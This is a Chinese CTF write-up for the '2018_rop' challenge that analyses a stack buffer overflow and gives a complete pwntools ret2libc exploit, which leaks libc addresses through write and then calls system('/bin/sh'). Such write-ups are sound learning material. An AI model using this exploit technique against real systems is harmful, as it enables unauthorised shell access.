IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> 【CTF】 2018_rop -> 正文阅读

[网络协议]【CTF】 2018_rop

题目分析

1 反编译,寻找可以利用的漏洞

void main(void)
{
  be_nice_to_people();
  vulnerable_function();
  write(1,"Hello, World\n",0xd);
  return;
}

从main函数来看,函数vulnerable_function是个最明显的提示,大概率就是突破点,但是be_nice_to_people也可以捎带看一眼。

void be_nice_to_people(void)
{
  __gid_t __rgid;
  __rgid = getegid();
  setresgid(__rgid,__rgid,__rgid);
  return;
}

好吧,确实没看到可以利用的点,查了下资料,也没找到这个函数存在的必要性,待定吧。

void vulnerable_function(void)
{
  undefined local_8c [136];
  read(0,local_8c,0x100);
  return;
}

ok,这个就是典型的溢出,read的长度限制比数组长度大。

2 分析利用链

1 查找整个反编译工程,没有看到system或者execve等函数,也没看到/bin/sh字符串,也没找到其他可利用函数,那基本可以确定是ret2libc的套路
2 需要拿到libc中函数的地址,那可以利用的点,就是通过write函数来打印输出
3 然后,通过地址推算出system和/bin/sh的地址
4 需要再次执行,那就需要溢出后能再次跳转到vulnerable_function
5 通过vulnerable_function再次执行溢出跳转到system
ok, 1 2 3 5都是常规操作,4 需要研究下怎么跳转,还好,上篇学到的函数返回地址(call和函数直接调用的区别)可以派上用场,试验一下,果然可行。

利用脚本

1 from pwn import *
  2 from LibcSearcher import *
  3 elf = ELF('2018_rop')
  4 libc = ELF('libc-2.27.so') # 根据环境不同进行替换
  5
  6 context(arch = 'amd64', os = 'linux',log_level = 'debug', terminal="/bin/sh")
  7
  8 #asm()将接受到的字符串转变为汇编码的机器代码,而shellcraft可以生成asm下的shellcode
  9 #shellcode=asm(shellcraft.amd64.linux.sh())
 10 #print(len(shellcode))
 11 #print(shellcode)
 12
 13 sh = process('./2018_rop')
 14 pad = 'A' * 140
 15 write_got_addr = 0x0804a010
 16 vulner_addr = 0x080484d4 # 返回地址
 17 payload = pad.encode()
    # write函数plt地址 + write函数返回地址 + write参数1 + write函数got地址 + write参数3
    # 实现效果,打印write函数内存地址,同时返回到vulnerable_function再次执行
 18 payload += p32(0x080483a0)  + p32(vulner_addr)  + p32(0x01) + p32(write_got_addr) + p32(0x20)
 19
 20 sh.sendline(payload)
 21 content = sh.recv()[:4]
 22 mem_addr = int.from_bytes(content, 'little')
 23 print("%#x -> %s" % (write_got_addr, hex(mem_addr)))
 24
 25 # 优先尝试lib-database查找
 26 obj = LibcSearcher("write", mem_addr)
 27 obj.dump('system')
 28
 29 libc_write_offset = libc.sym['write']
 30 print(hex(libc_write_offset))
 31
 32 libc_system_offset = libc.sym['system']
 33 print(hex(libc_system_offset))
 34
 35 libc_database = mem_addr - libc_write_offset
 36
 37 mem_system_addr = libc_database + libc_system_offset
 38 print(hex(mem_system_addr))
 39
 40 mem_binsh = libc_database + next(libc.search(b'/bin/sh'))
 41 print(hex(mem_binsh))
 42
 43 # system函数内存地址 + system函数返回地址(这里不重要) + /bin/sh的内存地址
 44 payload1 = pad.encode() + p32(mem_system_addr) + p32(0x12345678) + p32(mem_binsh)
 45 sh.sendline(payload1)
 46
 47 with open('payload.txt', 'wb') as f:
 48    f.write(payload)
 49    f.write(payload1)
 50
 51
 52 sh.interactive()

总结

总感觉对于栈的理解不够深刻,需要系统性的学习一下,不过没找到好的资料,只能边刷题边学习了。

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-06-23 01:01:03  更:2022-06-23 01:01:18 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 16:19:56-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码